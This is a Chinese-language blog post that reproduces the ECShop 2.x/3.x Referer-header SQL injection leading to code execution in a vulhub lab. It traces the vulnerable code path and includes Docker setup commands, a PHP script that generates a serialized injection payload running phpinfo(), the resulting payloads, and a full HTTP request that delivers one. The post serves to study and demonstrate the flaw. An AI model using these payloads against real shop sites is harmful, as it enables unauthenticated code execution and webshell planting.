本文作者:SwBack
创作时间:2023-04-09 18:41:55
知乎:https://www.zhihu.com/people/back-88-87
CSDN:https://blog.csdn.net/qq_30817059
百度搜索: SwBack
ECShop是一个B2C的独立商城系统,供企业和个人快速搭建个性化网上商城。 本系统是一个基于PHP语言和MYSQL数据库架构的跨平台开源程序。
2017及之前版本存在SQL注入漏洞,可注入payload,最终导致代码执行漏洞。 最新3.6.0版本已修复漏洞,vulhub使用其最新版本2.7.3和3.6.0非最新版本重现漏洞。
2.x/3.x
漏洞点在于HTTP-Referer处
Ecshop使用了php模版引擎smarty,该引擎有两个基本的函数assign()、display()。assign()函数用于在模版执行时为模版变量赋值,display()函数用于显示模版。smarty运行时,会读取模版文件,将模版文件中的占位符替换成assign()函数传递过来的参数值,并输出一个编译处理后的php文件,交由服务器运行。
在user.php中,服务器获取HTTP_REFERER
传递的值,并将其赋值为$back_act.
assign()
函数将又该变量传递给了模版文件
在includes/init.php
文件中创建了cls_template.php
来处理模版文件
includes/cls_template.php
文件中的display()
函数调用了fetch()
函数
以下漏洞原理参考百度文章
fetch()函数是将填充参数之后的模版文件输出给变量$out,最终调用explode()函数将变量$out打散为数组
查看insert_mod()函数的代码,首先是将用户可控的参数用”|”符号分割为一个数组,将数组中的值赋值给了两个变量 f u n 和 fun和 fun和para,接着对“|”符号之后的变量$para进行反序列化,生成了数组$para,最后返回了一个动态函数调用。
查看所有的以“insert_”开头的函数,其中insert_ads()、insert_bought_notes()函数是可以进行利用的,传入这两个函数的数组是可控的,并且拼接了SQL语句,因此存在SQL注入漏洞。
以上漏洞原理参考百度文章
通过vulhub
进行搭建,首先在一台已经安装 docker-compose的Linux机器中输入如下命令,将vulhub
下载到本地
#下载vulhub
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
#解压zip
unzip vulhub-master.zip
#进入解压目录
cd vulhub-master
在上一步我们已经将vulhub
解压到本地了.接下来我们进入需要复现的漏洞目录,通过docker-compose
将环境进行启动
#进入目录
cd ecshop/collection_list-sqli/
#启动环境
docker-compose up -d
输入命令之后,就会出现如下显示,等待执行完毕
vulhub
会启动两个版本的ecshop,版本分别为 2.7.3
和3.6.0
我们输入如下命令 查看已经启动的docker容器.其中8080端口为2.7.3
8081端口为 3.6.0
docker ps
这里我先采用2.7.3
版本进行演示
浏览器访问8080端口. IP地址为宿主机IP,如果采用的是公网服务器,那么地址为服务器的公网IP
配置系统
数据库主机:输入mysql
账号密码均为root
端口号: 3306
数据库名 : 任意
其他均任意
关于poc,vulhub已经帮我们准备好了生成的脚本.
我们可以在本地启动php进行生成.POC生成脚本如下:
会自动生成2.x和3.x的版本
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];
$s = serialize($arr);
$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";
生成内容如下:
POC for ECShop 2.x:
554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
POC for ECShop 3.x:
45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a
进行发包,可以看到已经复现成功
GET /user.php?act=login HTTP/1.1
Host: 8.130.30.200:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
Content-Length: 0
ecshop 漏洞主要是因为 user.php文件中的display函数的模版变量可控,导致注入,配合注入可达到远程代码执行.不需要登录即可远程写入webshell。
本文由SwBack
原创文章, 如有问题,欢迎指正。